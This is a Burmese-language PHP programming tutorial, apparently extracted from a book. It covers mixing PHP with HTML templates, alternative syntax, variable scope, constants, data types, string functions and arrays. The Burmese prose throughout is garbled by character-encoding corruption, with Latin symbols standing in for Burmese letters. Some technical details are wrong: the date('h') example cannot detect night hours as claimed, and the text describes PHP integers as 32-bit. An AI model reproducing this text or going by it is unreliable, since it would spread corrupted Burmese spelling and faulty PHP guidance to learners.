ဒါပေပမယ့် မသံုးသင့်တဲ့ပေရးထံုးအဖြKစ် သတ်မှတ်ထားကြကလ့ုိ သ့ူအပေကြကာင်းကို အကျယ်မ]ျဲ့ပေတာ့ ပါဘူး။ ပေရး
နည်း ရှိမှန်းသိပေအာင်သာ ထည့်ပေဖြပာလုိက်တာပါ။ ပေနာကတ်စ်နည်းအပေနနဲ့ PHP နဲ့ HTML ကို ]ွ ပြပီးပေရးလ့ုိ
လည်း ရပါပေသးတယ်။ ဒီကုဒ်ကိုပေလ့လာကြကည့်ပါ။

 PHP 

<h1>Home Page</h1>
<?php $hour = date('h') ?>
<p>
    <?php
        if($hour < 6 || $hour > 18) {
            echo "<b>Night Time</b>";
        } else {
            echo "<i>Day Time</i>";
        }
    ?>
</p>

နမူနာအရ  PHP  date() Function  ရဲ့အကူအညီနဲ့  လက်ရှိအ]ျနိ်နာရီကို  ယူထားပါတယ်။ မနက်  (၆)
နာရီထက် ငယ်မယ် (သ့ုိမဟုတ်)  ညပေန (၆)  နာရီထက် ကြကီးမယ်ဆိုရင်  <b>Night Time</b> ဆိုတဲ့
ရလဒ်ကို  ပေKာ်ဖြပပေစပြပီး၊  မဟုတရ်င်ပေတာ့  <i>Day  Time</i> ကိုပေKာ်ဖြပပေစတာပါ။  ဒီလုိမျ ို း  PHP
Output ထဲမှာ HTML Element ပေတွကို လုိအပ်ရင် ထည့်သံုးကြကပါတယ်။ စမ်းကြကည့်တဲ့အ]ျနိ်ပေပါ်မူတည်ပြပီး
ရလဒ်က ဒီနှစ်မျ ို းထဲက တစ်မျ ို းဖြKစ်မှာပါ။

 Output 

<h1>Home Page</h1>
<p>
    <b>Night Time</b>
</p>

 Output 

<h1>Home Page</h1>
<p>
    <i>Day Time</i>
</p>
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အ့ဲဒီကုဒ်ကိုပဲ ပေနာက်တစ်မျ ို း ပေရးလ့ုိရပါပေသးတယ်။

 PHP 

<h1>Home Page</h1>

<?php $hour = date('h') ?>

<p>

    <?php if($hour < 6 || $hour > 18) { ?>

        <b>Night Time</b>

    <?php } else { ?>

         <i>Day Time</i>

    <?php } ?>

</p>

နမူနာမှာ  if Statement  ရဲ့  Condition  မှန်မှ  ပေKာ်ဖြပပေစလို့တဲ့  HTML  ကုဒ်ပေတွကို၊  if Statement  ရဲ့
အKွင့်နဲ့အပိတ်ကြကားထဲမှာ  ရိုးရိုး    HTML   အပေနနဲ့ပဲ   သီးဖြ]ားပေရးထားတာကို ပေတွ့ရနိုင်ပါတယ်။ ဒါပေကြကာင့် ဒီ
HTML ပေတဟွာ if Condition  မှန်ပေတာ့မှသာ အလုပ်လုပ်မယ့်  HTML ကုဒ်ပေတွဖြKစ်သွားပါတယ်။  else
Statement အတွက်လည်း အလားတူပဲ ပေရးထားတာကို ပေတွ့ရမှာပါ။ ရလဒ်က ပေစာပေစာကပေရး]ဲ့တဲ့ ကုဒ်
နဲ့ တူညီတဲ့ ရလဒ်ကိုပဲ ရမှာပါ။ ဒါပေပမယ့် ဒီပေရးနည်းရဲ့ အားသာ]ျက်ကပေတာ့ ပေစာပေစာကလုိ HTML ပေတွ
ကို  PHP  ထဲမှာ ပေရးပေရာစရာ မလုိပေတာ့ဘဲ သီးဖြ]ား  HTML  အပေနနဲ့ပဲ ပေရးလုိ့ရသွားတဲ့အတွက် ပေရးသားရ
တာပုိမို အဆင်ပေဖြပဖြ]င်းပဲ ဖြKစ်ပါတယ်။

ဒီပေရးနည်းကိုပေတာ့ Template ပေရးထုံးလို့ ပေ]ါ်ပါတယ်။ အလွန်အသံုးဝင်ပါတယ်။ 

တစ်ကယ်ပေတာ့  ဒီလုိ  Template  ပေရးထံုးကို  အသံုးဖြပုနိုင်Kို့အတွက်  တစ်ဖြ]ား  Language  ပေတွမှာဆိုရင်
သီးဖြ]ား Template Library ရဲ့အကူအညီနဲ့မှ ပေရးလ့ုိရမှာပါ။  PHP မှာလည်း Smarty, Twig, Blade စတဲ့
အမည်ပေတွနဲ့  Template  Library  ပေတွ  ရိှပေနပေပမယ့်  အ့ဲဒီ  Template  Library  ပေတွ  တစ်]ုမှမသံုးဘဲ
Language သက်သက်နဲ့လည်း အ]ုလုိ Template ပံုစံ ပေရးလ့ုိရနိုင်ဖြ]င်းပဲ ဖြKစ်ပါတယ်။ Template ပေရးထံုး
ပုိမုိကျစ်လစ် သပ်ရပ်ပေစK့ုိအတွက် ပေစာပေစာက ကုဒ်ကို အ]ုလုိလည်း ဖြပင်ပေရးလ့ုိ ရပါပေသးတယ်။
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 PHP 

<h1>Home Page</h1>

<?php $hour = date('h') ?>

<p>

    <?php if($hour < 6 || $hour > 18): ?>

        <b>Night Time</b>

    <?php else: ?>

         <i>Day Time</i>

    <?php endif ?>

</p>

ဒီပေရးနည်းကိုပေတာ့  Alternative  Syntax  လ့ုိပေ]ါ်ပါတယ်။  တွန့်ကွင်းအKွင့်အပိတ်ပေတွ  မပါပေတာ့တာပါ။
တွန့်ကွင်းအKွင့်အစား  Full  Colon  သပေက�တပေလးကို  သံုးလုိက်ပြပီး  ပေနာက်ဆုံး  တွန့်ကွင်းအပိတ်ပေနရာမှာ
endif နဲ့  ပိတ်ပေပးလုိက်တာပါ။ တွန့်ကွင်းအKွင့်အပိတ်ပေတွက ရိုးရိုး  PHP  ကုဒ်ထဲမှာ အဆင်ပေဖြပပေပမယ့်
အ]ုလုိ  HTML  နဲ့  ပေရာပေရးတဲ့အ]ါ  ပေရးရတာပေရာ  Kတရ်တာပါ  ]က်ပေစပါတယ်။  ဒါပေကြကာင့်  အ]ုလုိ
Alternative  Syntax  နဲ့  ပေရးလုိက်တဲ့အတွက်  ပေရးရတာ ပုိအဆင်ပေဖြပသွားသလို၊  Kတရ်တာလည်း  ပုိရှင်း
သွားမှာ ဖြKစ်ပါတယ်။ ဒီပေရးနည်းကို  while, for နဲ့  switch Statement ပေတွမှာလည်း အသံုးဖြပုနိုင်
ပါတယ်။  Array  ပေတွကို  Loop  ပါတ်K့ုိ  သံုးရတဲ့   foreach Statement  မှာလည်း အသံုးဖြပုနိုင်ပါတယ်။
ပေရးနည်းကိုပေတာ့ သ့ူပေနရာနဲ့သူ ပေရာက်လာတဲ့အ]ါ ဆက်ကြကည့်ကြကပါမယ်။

ဒီလို  HTML  ပေတွနဲ့  ပေရာမပေရးဘဲ  PHP  ကုဒ်]ျည်းပဲ  သီးသန့်ပေရးလ့ုိလည်း ရပါတယ်။ ပေရးလည်း ပေရးရပါ
တယ်။ ဒီလိုပေရးတဲ့အ]ါ သတိဖြပုစရာပေလးတစ်]ုရှိပါတယ်။ PHP ကုဒ်ပေတွကို  <?php အKွင့် ?> အပိတ်နဲ့
ပေရးရတယ်ဆိုပေပမယ့် HTML Element   ပေတွ လံုးဝမပါဘဲ    PHP   ]ျည်းသက်သက် ပေရးတဲ့အ]ါ အပိတ်ကို မ  
ထည့်ဘဲ ပေရးလ့ုိရပါတယ်။ မထည့်ဘဲ ပေရးကြကပါတယ်။ အKွင့်ကပေတာ့ မထည့်လ့ုိ မရပါဘူး။ ဒီအKွင့်မပါရင်
PHP  ကုဒ်အပေနနဲ့  အလုပ်လုပ်မှာ  မဟုတ်လ့ုိ  မဖြKစ်မပေန ထည့်ပေပးရပါတယ်။ ဥပမာ  -  ဒီနှစ်]ုဟာ ရလဒ်
အတူတူပါပဲ။
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 PHP 

<?php

$num1 = 3;
$num2 = 5;
echo $num1 + $num2;

?>

 PHP 

<?php

$num1 = 3;
$num2 = 5;
echo $num1 + $num2;

အပေပါ်က နမူနာမှာ အပိတ်ပါပြပီး၊ ပေအာက်ကနမူနာမှာ အပိတ်မထည့်ပေတာ့တာပါ။ ဘာပေကြကာင့် အပိတ်ကို
မထည့်ဘဲ ပေရးကြကသလဲဆိုပေတာ့၊ ဒီလို PHP ]ျည်းပဲ သီးသန့်ပေရးထားတဲ့ကုဒ်ပေတွဟာ Module တစ်]ုကဲ့သ့ုိ
တစ်ဖြ]ားပေနရာကပေန ]ျတိ်ဆက်ပေ]ါ်ယူပြပီး အသံုးဖြပုကြကမယ့် ကုဒ်ပေတွများပါတယ်။  အပိတ်ထည့်ထားမိရင်၊
အပိတ်ရဲ့ပေအာက်မှာ ဆက်ရှိပေနတဲ့ လုိင်းအပုိအလွတ်ပေတွဟာ ပေ]ါ်ယူတဲ့ပေနရာထိ ပါသွားပြပီး ဒုက္ခပေပးတတ်
ပါတယ်။ ?> အပိတ်ရဲ့ အဖြပင်မှာ ဆက်ရှိပေနတဲ့ လုိင်းအပုိပေတွက PHP နဲ့ မဆိုင်လ့ုိ PHP က ထည့်အလုပ် မ
လုပ်တဲ့အတွက်ပေကြကာင့်ပါ။  အပိတ်မထည့်တဲ့အ]ါ  ပေအာက်မှာ  ဘယ်ပေလာက်ပဲ  လုိင်းအပုိပေတွ  ထပ်ရှိ
ပေနပါပေစ၊ ဒီလုိင်းအပုိပေတွကို PHP က Kယ်ထုတ်ပြပီး အလုပ်လုပ်ပေပးလုိက်မှာဖြKစ်လ့ုိ ပုိပြပီးပေတာ့ အဆင်ပေဖြပပါ
တယ်။ ဒါပေကြကာင့် PHP ]ျည်းသက်သက်ပေရးတဲ့အ]ါ ဟိုးအပေပါ်မှာ အKွင့်ကို ထည့်ပေပမယ့် ပေအာက်ဘက်မှာ
အပိတ်ကို မထည့်ပေတာ့ဘဲ ပေရးကြကပေလ့ရှိတယ်ဆိုတာကို သတိဖြပုကြကရမှာပဲ ဖြKစ်ပါတယ်။

Variables
PHP  မှာ  Variable  ပေတွကို  var တို့  let တို့လုိ  Keyword  ပေတွနဲ့  ပေကြကညာစရာမလုိဘူး။  ဒါပေပမယ့်
Variable အားလံုးဟာ $ သပေက�တနဲ့ စ ရတယ်လ့ုိ အထက်မှာ ပေဖြပာ]ဲ့ပါတယ်။ PHP ဟာ JavaScript လုိပဲ
Loosely Typed Language ဖြKစ်တဲ့အတွက် Type Juggling သပေဘာသဘာဝ ရှိပါတယ်။ Variable ပေတရွဲ့
Data Type ဟာ ထည့်သွင်းလုိက်တဲ့ တန်Kိုးပေပါ်မူတည်ပြပီး အလုိအပေလ�ာက် ပေဖြပာင်းလဲနိုင်ပါတယ်။ 
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JavaScript  မှာ  typeof Keyword  နဲ့  Variable  ပေတွရဲ့  Data Type  ကို  ပေလ့လာလ့ုိရသလုိပဲ  PHP  မှာ
လည်း var_dump() Function နဲ့ ပေလ့လာနိုင်ပါတယ်။ var_dump() က Variable ရဲ့ Data Type ကို
ပေKာ်ဖြပယံုသာမက အထဲမှာရှိပေနတဲ့ တန်Kုိးကိုပါ ပေKာ်ဖြပပေပးလုိက်မှာပါ။ ဒီလုိစမ်းကြကည့်နိုင်ပါတယ်။

 PHP 

<?php

$var;
var_dump($var); // Warning: Undefined Variable  // NULL

$var = 123;
var_dump($var); // int(123)

$var = "abc";
var_dump ($var); // String(3) "abc"

PHP  မှာ  Variable  ပေတွကို ကြကိုပေကြကညာစရာမလုိဘဲ တန်Kုိးထည့်သွင်းလုိက်မှ အလုိအပေလ�ာက် ပေကြကညာ
အလုပ်လုပ်ပေပးသွားတာပါ။  ဒါပေကြကာင့်  ပေပးထားတဲ့နမူနာမှာ  $var အမည်နဲ့  Variable  တစ်]ုသတ်မှတ်
လုိက်ပေပမယ့်  var_dump() နဲ့ ထုတ်ကြကည့်လုိက်တဲ့အ]ါ Undefined Variable ဆိုတဲ့  Waring ကို ပေတွ့
ဖြမင်ရမှာ ဖြKစ်ပါတယ်။ ထုတ်ပေပးစရာတန်Kုိး မရှိလ့ုိ NULL ကိုလည်း ထုတ်ပေပးလုိက်မှာ ဖြKစ်ပါတယ်။

ပေနာက်တစ်ဆင့်မှာပေတာ့ $var = 123 လ့ုိပေဖြပာလိုက်တဲ့အတွက် $var ဟာ အလုိအပေလ�ာက် Integer
Variable  တစ်]ုဖြKစ်သွားပါတယ်။  $var = "abc" လ့ုိ  ပေဖြပာလုိက်တဲ့အ]ျနိ်မှာပေတာ့  Type  အလုိအ
ပေလ�ာက် ပေဖြပာင်းသွားပြပီး String ဖြKစ်သွားပါပေတာ့တယ်။

PHP  Variable  ပေတဟွာ  Context  Scope    သပေဘာသဘာဝ   ရှိပါတယ်။  ဆိုလုိတာက၊  ပေကြကညာထားတဲ့
ပေနရာနဲ့ပဲ  သက်ဆိုင်တယ်ဆိုတဲ့သပေဘာပါ။  Global Variable  ကို  Global  Scope  မှာပဲ  သံုးလို့ရပါတယ်။
Function ကပေန သံုးလ့ုိမရပါဘူး။ ဥပမာ ဒီလုိပါ – 
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 PHP 

$name = "Bob";

function hello() {
    echo $name;
}

hello(); // Warining: Undefined variable $name

$name Variable  ကို  ဖြပင်ပမှာ  ပေကြကညာထားလို့  Global  Variable  ဖြKစ်ပေနပါတယ်။  JavaScript  လုိ
Language မျ ို းမှာ  Global Variable ကို  Function ကပေန ယူသုံး]ွင့်ရှိပေပမယ့် PHP မှာ  Global Variable
ကို Global ကုဒ်ပေတွကပဲ ယူသံုး]ွင့်ရှိပါတယ်။ Function က တိုက်ရိုက်ယူသံုး]ွင့်မရှိလ့ုိ Warning တကတ်ာ
ကို  ပေတွ့ ရမှာ  ဖြKစ်ပါတယ်။  သံုး]ျင်တယ်ဆိုရင်  ရပေတာရ့ပါတယ်။  သံုး]ျင်တဲ့အပေကြကာင်း  ကြကိုပေဖြပာပေပးရပါ
တယ်။ ဒီလိုပါ – 

 PHP 

$name = "Bob";

function hello() {
    global $name;
    echo $name;
}

hello(); // Bob

ဒီတစ်]ါပေတာ့ အဆင်ပေဖြပသွားပါတယ်။ global Keyword ကိုသုံးပြပီး Global Variable ကို Function ထဲ
မှာ  အသုံးဖြပုမယ့်အပေကြကာင်း  ကြကိုပေဖြပာပြပီးပေတာ့မှ  သံုးလိုက်တဲ့အတွက်ပေကြကာင့်ပါ။  Function  အတွင်းမှာ
ပေကြကညာထားတဲ့  Variable  ပေတကွပေတာ့  Function Scope  ဖြKစ်လ့ုိ  Function  အတွင်းမှာ နှစ်သက်သလုိ
အသုံးဖြပုနိုင်ပါတယ်။ Block Scope သပေဘာသဘာဝမျ ို း မရှိပါဘူး။ ဒီလုိပါ –



PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၃) – Syntax, Variables & Data Types 37

 PHP 

function hello() {
if(true) {

$name = "Alice";
}

echo $name;
}

hello(); // Alice

နမူနာမျာ $name Variable ကို  if Block အတွင်းမှာ ပေကြကညာထားပေပမယ့် ဖြပင်ပကပေနလည်း ယူသုံးလ့ုိ
ရတာကို ပေတွ့ဖြမင်ရဖြ]င်း ဖြKစ်ပါတယ်။  Variable  ပေတရွှိမရှိ စစ်]ျင်ရင်  isset() ကိုအသံုးဖြပုပြပီး စစ်နိုင်ပါ
တယ်။ ရှိရင် true အပေနနဲ့ 1 ကိုဖြပန်ပေပးပြပီး မရှရိင်ပေတာ့ false အပေနနဲ့ Empty ကို ဖြပန်ပေပးပါတယ်။

 PHP 

<?php

echo isset($name); // Empty

$name = "Bob";

echo isset($name); // 1

နမူနာအရ $name Variable မရှိ]င်မှာ စစ်ကြကည့်လိုက်တဲ့အ]ါ false ဖြKစ်ပေနပြပီး $name Variable ရိှပြပီး
ပေနာက်မှ စစ်ကြကည့်တဲ့အ]ါ  true ဖြKစ်ပေနတာကို ပေတွ့ရမှာ ဖြKစ်ပါတယ်။  PHP  မှာ  Constant  ပေတွလည်း
ပေကြကညာအသံုးဖြပုလို့  ရပါတယ်။ ထူးဖြ]ား]ျက်အပေနနဲ့  Constant  ပေတွကို  define() Function  သံုးပြပီး
ပေကြကညာပေပးရပါတယ်။ ပြပီးပေတာ့ ရိုးရိုး Variable လုိ $     သပေက�တလည်း ပါစရာ မလိုအပ်ပါဘူး  ။ ဒီလုိပါ – 

 PHP 

<?php

define("MIN", 1);
define("MAX", 10);

echo MAX; // 10
MAX = 20; // Syntax Error: unexpected =



PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၃) – Syntax, Variables & Data Types 38

define() Function ရဲ့ ပထမ Argument မှာ  Constant ရဲ့အမည်ကိုပေပးရပြပီး ဒုတိယ Argument မှာ
တန်Kုိးကိုပေပးရတာပါ။ Constant   အမည်အပေနနဲ့ စာလံုးအကြကီးအပေသး၊ ကြကိုက်တာပေပးလ့ုိ ရပေပမယ့် အကြကီး  
ပေတွ]ျည်းပဲ ပေပးကြကတာ ထံုးစံပါ။ ပေကြကညာသတ်မှတ်ထားတဲ့  Constant  ပေတွကို  လုိအပ်တဲ့ပေနရာမှာ ရိုးရိုး
Variable  သံုးသလိုပဲ  ဖြပန်လည်အသံုးဖြပုနိုင်ပါတယ်။  Constant  ဖြKစ်တဲ့အတွက်  တန်Kုိးအသစ်ပေတာ့
ပေဖြပာင်းလဲ သတ်မှတ်လုိ့ရမှာ မဟုတ်ပါဘူး။ Assignment Operator ဖြKစ်တဲ့ = ကိုပေတာင် Constant နဲ့အတူ
တွဲပြပီး အသံုးဖြပု]ွင့် ပေပးမှာမဟုတ်ပါဘူး။ ဒါပေကြကာင့် အပေပါ်က ကုဒ်က Run လုိက်ရင် Syntax Error ဖြKစ်ပါ
လိမ့်မယ်။ စမ်းကြကည့်လ့ုိရမှာ မဟုတ်ပါဘူး။ မှားပေနတဲ့ MAX = 3 ဆိုတဲ့ လုိင်းကို Kယ်လုိက်မှသာ  စမ်းလ့ုိရ
မှာပါ။

Constant ရဲ့ ထူးဖြ]ား]ျက်ကပေတာ့ ဘယ်ပေနရာမှာပဲ ပေကြကညာသည်ဖြKစ်ပေစ   Global Constant   ဖြKစ်သွားဖြ]င်း  
ဖြKစ်ပါတယ်။ ပြပီးပေတာ့ ရိုးရိုး Variable လုိ Global Constant ကို Function ထဲမှာ ကြကိုပေဖြပာပြပီးမှ သံုးစရာ မ
လုိအပ် ပါဘူး။ Constant ပေတွကို ပေကြကညာပြပီးပြပီဆိုရင် ကြကိုက်တဲ့ပေနရာမှ ]ျသံုးလ့ုိ ရနိုင်ပါတယ်။

Data Types
PHP  မှာ  Scalar Type  လ့ုိပေ]ါ်တဲ့ အပေဖြ]]ံအကျဆုံး  Data Type (  ၄  )    မျ ို း   ရှိပါတယ်။  Boolean, Integer,
Float နဲ့  String တို့ ဖြKစ်ပါတယ်။ Boolean ကပေတာ့ true နဲ့  false တန်Kုိးနှစ်မျ ို းသာ လက်]ံနိုင်တဲ့  Data
Type ဖြKစ်ပါတယ်။ Integer ဟာ 32-bit Integer ဖြKစ်ပြပီးပေတာ့၊ Float က 64-bit Float ဖြKစ်ပါတယ်။ PHP
မှာ Unsigned Integer သပေဘာသဘာဝမရှိပါဘူး။ String အပေကြကာင်းကိုပေတာ့ ]ဏပေနမှဆက်ပေဖြပာပါမယ်။

PHP မှာ Compound Type လ့ုိပေ]ါ်တဲ့ တန်Kုိးပေတွ အတွဲလုိက်သိမ်းနိုင်တဲ့ Data Type  လည်း (၄) မျ ို း ရှိပါ
တယ်။  အ့ဲဒီထဲက  Array  နဲ့  Object  ကို  ပေရးွ]ျယ်ပေလ့လာသွားကြကမှာပါ။  NULL နဲ့  resource ဆိုတဲ့
Special  Data  Type  (၂)  မျ ို းလည်းရှိပါပေသးတယ်။  တန်Kုိးမရှိရင်  NULL ဖြKစ်ပြပီး  resource ဆိုတာ
ကပေတာ့ ဒီလုိပါ၊ ပံုမှန်အားဖြKင့် Variable ဆိုတာ ကွန်ပျူတာ Memory ပေပါ်မှာ ပေနရာတစ်]ု ယူပြပီး တန်Kုိး
ပေတွ သိမ်းလုိက်တာပါ။ Variable Name ဆိုတာ အ့ဲဒီလုိ  သိမ်းထားတဲ့ တည်ပေနရာရဲ့အညွှန်း ဖြKစ်ပါတယ်။
PHP မှာ တန်Kုိးပေတွကို Memory ပေပါ်မှာ ပေနရာယူမသိမ်းဘဲ Hard Drive ပေပါ်မှာ Kုိင်အပေနနဲ့ဖြKစ်ဖြKစ်၊ တစ်
ဖြ]ားတစ်ပေနရာရာမှာပဲ  ဖြKစ်ဖြKစ်  သိမ်းထားပြပီးပေတာ့  အ့ဲဒီလုိသိမ်းထားတဲ့ပေနရာကို  ညွှန်းပေပးနိုင်တဲ့
သပေဘာသဘာဝ ရိှပါတယ်။ အ့ဲဒီလုိ ညွှန်းထားတဲ့ အညွှန်းတန်Kုိးအတွက် Integer  ပေတွ String ပေတွ မသံုး
ပါဘူး။ resource လ့ုိပေ]ါ်တဲ့ သီးဖြ]ား Special Data Type တစ်မျ ို းကို သံုးလုိက်တာပါ။
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အခန်း (၄) – Strings & Arrays

String  တန်Kုိးပေတွ ပေကြကညာသတ်မှတ်K့ုိအတွက်  Single Quote, Double Quote  နှစ်မျ ို းလံုးကို  သံုးနိုင်ပါ
တယ်။ အပေရးကြကီးတဲ့  ကွဲလဲွမှုပေလး တစ်]ုပေတာ့  ရှိပါတယ်။  Double Quote String    ပေတွဟာ    Template  
String   ကဲ့သ့ုိ အလုပ်လုပ်ပါတယ်  ။  String အတွင်းမှာ  Variable  ပေတွ ထည့်ပေရးရင် သက်ဆိုင်ရာတန်Kုိးကို
အသုံးဖြပု အလုပ်လုပ်ပေပးနိုင်ပါတယ်။ ဒီလုိပါ – 

 PHP 

<?php

$name = "Alice";
$role = "Web Developer";
$company = "Acme Inc";

echo "$name is a $role at $company.";

// Alice is a Web Developer at Acme Inc.

မူလကထဲက Variable ပေတွကို $ သပေက�တနဲ့ စပေပးရတဲ့အတွက် String အတွင်းမှာ Variable ပေတွ ပါလာ
ရင်  PHP က သိရှိပြပီး အလုပ်လုပ်ပေပးနိုင်တာပါ။ ထူးဖြ]ားတဲ့ ပေရးထံုးသစ်ပေတွ ဒီအတွက် တီထွင်ထည့်သွင်း
ပေပးစရာ မလုိပေတာ့ပါဘူး။ အပေတာ်ပေလး အဆင်ပေဖြပအသံုးဝင်တဲ့ လုပ်ပေဆာင်]ျက် ဖြKစ်ပါတယ်။

တစ်]ျ ို ့ Escape လုပ်Kို့လုိတဲ့ Character ပေတွကို \ သပေက�တနဲ့ Escape လုပ်နိုင်ပါတယ်။ ဥပမာ – 
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 PHP 

<?php

$fruit = "Apple";
$price = 1.99;

echo "Buy some $fruit for \$$price each.";

// Buy some Apple for $1.99 each.

$ သပေက�တဟာ Escape လုပ်Kို့လုိတဲ့ သပေက�တဖြKစ်ပါတယ်။ ဒီပေတာ့မှ  Variable နဲ့မမှားမှာပါ။  \$ လ့ုိပေရး
ပေပးလုိက်တဲ့အတွက် ဒီသပေက�တကို ထည့်သွင်းအလုပ်မလုပ်ပေတာ့ဘဲ သပေက�တအတိုင်းပဲ ရိုက်ထုတ်ပေKာ်ဖြပ
ပေပးလုိက်တာပါ။  Double  Quote  ပေတွ  Single  Quote  ပေတွကို  Escape  လုပ်Kို့လုိအပ်ရင်လည်း  ဒီနည်း
အတိုင်းပဲ ပေရးနိုင်ပါတယ်။

 PHP 

<?php

echo "This tree is 10' 8\" long.";

// This tree is 10' 8" long.

8" ရဲ့ Double Quote သပေက�တကို စာပေကြကာင်းအKွင့်အပိတ် Double Quote နဲ့မှားမှာစိုးလ့ုိ Escape လုပ်
ပေပးလုိက်တာပါ။  ပေရှ့က  Single  Quote  ကပေတာ့  မှားစရာမရှိလ့ုိ  Escape  မလုပ်ပေတာ့ပါဘူး။  လုိအပ်ရင်
လုပ်လ့ုိရပါတယ်။ Backslash ပေတွကိုလည်း Escape လုပ်ပေပးKို့ လုိအပ်ပါတယ်။

 PHP 

<?php

echo "C:\\xampp\\htdocs";

// C:\xampp\htdocs

Single Quote နဲ့ ပေရးထားတဲ့ String ပေတွမှာပေတာ့ Variable ပေတွပါလ့ုိမရပါဘူး။ ဒါထူးဖြ]ား]ျက်ပါ။ Single
Quote String ပေတွဟာ အရှိအတိုင်းပဲ သတ်မှတ်ပေKာ်ဖြပသွားမှာပါ။ ဒီလုိပါ – 
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 PHP 

<?php

$name = 'Bob';

echo 'Hello $name, welcome.';

// Hello $name, welcome.

$name Variable ကို အလုပ်မလုပ်ဘဲ ပေရးထားတဲ့အတိုင်း ပေKာ်ဖြပသွားတာကို ပေတွ့ဖြမင်ရဖြ]င်း ဖြKစ်ပါတယ်။
ဒါကို သတိထားK့ုိလုိပါတယ်။ မှားတတ်ပါတယ်။ သင်တန်းမှာ ကြကုံပေနကြကပါ။ String ပေတွ မမှန်ဘူးဆရာလ့ုိ
ပေဖြပာလာတိုင်း သွားကြကည့်စရာမလုိပါဘူး။  Double Quote String  သံုးပါလ့ုိ လက်တမ်းပေဖြKရှင်းပေပးလုိက်ရ
တာ ]ဏ]ဏပါပဲ။ Double Quote String မှသာ အထဲက Variable တန်Kုိးပေတွကို အသံုးဖြပု အလုပ်လုပ်
မှာ ဖြKစ်ပါတယ်။

String တစ်]ုမှာ စာလံုးဘယ်နှစ်လံုးပါလဲဆိုတာ သိ]ျင်ရင် strlen() Function ကို သံုးနိုင်ပါတယ်။

 PHP 

<?php

echo strlen("Hello World"); // 11
echo strlen("ကခဂ"); // 9

ဖြမန်မာစာအတွက်  ရလဒ်မမှန်တာကို  သတိဖြပုပါ။  ဒီပေနရာမှာ  မမှန်ပေကြကာင်းကိုပဲ  ပေဖြပာနိုင်ပါဦးမယ်။  ဘာ
ပေကြကာင့်လဲဆိုတာနဲ့  ပေဖြKရှင်းနည်းကိုပေတာ့  ထည့်ပေဖြပာနိုင်ဦးမှာ  မဟုတ်ပါဘူး။  စာပေကြကာင်းတစ်ပေကြကာင်း
ကပေန လုိ]ျင်တဲ့အပုိင်း ဖြKတ်ယူ]ျင်ရင် substr() Function ကို သံုးနိုင်ပါတယ်။

 PHP 

<?php

$str = "A quick brown fox.";

echo substr($str, 0, 7); // A quick
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0 က စမှတ်ဖြKစ်ပြပီး 7 က စာလံုးအပေရအတွက် ဖြKစ်ပါတယ်။ နှစ်သက်ရာတန်Kုိးကို အစားထိုး အသံုးဖြပုနိုင်ပါ
တယ်။ စာပေကြကာင်းထဲမှာ Search & Replace လုပ်]ျင်ရင် str_replace() ကို သံုးနိုင်ပါတယ်။

<?php

$str = "Come here, quick, quick.";

echo str_replace("quick", "hurry", $str);

// Come here, hurry, hurry.

ရှာ]ျင်တဲ့စာလုံး၊  အစားထုိး]ျင်တဲ့စာလံုး၊  မူရင်း  String  အစီအစဉ်အတိုင်း  ပေပးရပါတယ်။  ပေစာပေစာက
substr() Function မှာ မူရင်း String ကပေရှ့ကလာပြပီး၊ အ]ု str_replace() Function မှာ မူရင်း
String က ပေနာက်ကလာပါတယ်။ ပြပီးပေတာ့ str_replace() ကို  Underscore နဲ့ပေရးပြပီး substr()
ကိုကျပေတာ့ sub_str() လ့ုိ Underscore နဲ့မပေရးပါဘူး။ 

ဒီကိစ္စဟာ PHP ကို အ]ုတစ်မျ ို း ပေတာ်ကြကာတစ်မျ ို း၊ စနစ်တစ်ကျမရှိဘူးရယ်လို့ လူပေတွ ပေဝKန်ကဲ့ရဲ့ကြကတဲ့
အပေကြကာင်းရင်းပေတွထဲက  တစ်]ုဖြKစ်ပါတယ်။  မှန်ပါတယ်။  PHP  ဟာ  အရင်က  အ့ဲဒီလုိ  ကပေမာက်ကမ
သဘာဝပေတွ  Language  ထဲမှာ ပါပေနလ့ုိ လူပေဖြပာများ]ဲ့ပါတယ်။ ဒါပေပမယ့်  PHP 5.4  ပေလာက်ကပေန စပြပီး
ပေနာက်ပုိင်းမှာပေတာ့  (မူလရှိပြပီးသားကပေမာက်ကမပေတွ ကျန်ပေနပေပမယ့်)  ဖြပင်ဆင်ဖြKည့်စွက် အဆင့်ဖြမှင့်တင်
မှုပေတွ  ဆက်တိုက်လုပ်လာ]ဲ့လ့ုိ  အ]ုဆိုရင်  အများကြကီး  တိုးတက်ပေဖြပာင်းလဲပေနပါပြပီ။  ပေရးသားရတာ
အဆင်ပေဖြပပြပီး စနစ်ကျတဲ့ Language တစ်]ု ဖြKစ်ပေနပါပြပီ။

ပေနာက်ထပ် Standard String Function ပေတွ အများကြကီးကျန်ပေသးပေပမယ့် အ]ုတစ်]ါထဲ အကုန်မှတ်K့ုိ မ
လုိအပ်ပါဘူး။ တစ်ကယ်လုိအပ်လာပေတာ့မှ ကြကည့်ရှုပေလ့လာပြပီး အသံုး]ျသွားလ့ုိ ရနိုင်ပါတယ်။

- https://www.php.net/manual/en/ref.strings.php

https://www.php.net/manual/en/ref.strings.php
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Array
PHP မှာ Array တစ်မျ ို းထဲသာ ရှိပါတယ်။ ဒါပေပမယ့် အသံုးဖြပုပံုပေပါ်မူတည်ပြပီး နှစ်မျ ို း]ွဲ ပေဖြပာ]ျင်ပါတယ်။
ပထမတစ်မျ ို းက Numeric Array ဖြKစ်ပြပီး Array Index ကို နံပါတ်စဉ်အတိုင်း သတ်မှတ်အသုံးဖြပုတဲ့ Array
ပါ။ ပေကြကညာသတ်မှတ်နည်း (၂) နည်းရှိပါတယ်။

 PHP 

<?php

$users = array("Alice", "Bob");

$fruits = ["Apple", "Orange"];

echo $users;

// Warning: Array to string conversion
// Array

print_r($fruits);

// Array ( [0] => Apple [1] => Orange )

var_dump($fruits);

array(2) { [0]=> string(5) "Apple" [1]=> string(6) "Orange" }

ပထမဆုံး တစ်ပေကြကာင်းမှာ array() ကိုသံုးပြပီး တန်Kုိးနှစ်]ုပါဝင်တဲ့ $users Array တစ်]ု Kန်တီးထား
ပါတယ်။ ဒုတိယတစ်ပေကြကာင်းမှာပေတာ့ ပေလးပေထာင့်ကွင်း အKွင့်အပိတ်ကိုသံုးပြပီး  $fruits Array  တစ်]ု
Kန်တီးထားပါတယ်။ နှစ်သက်ရာနည်းကို  အသံုးဖြပုနိုင်ပေပမယ့် ပေလးပေထာင့်ကွင်း အKွင့်အပိတ်ကို  သံုးရတဲ့
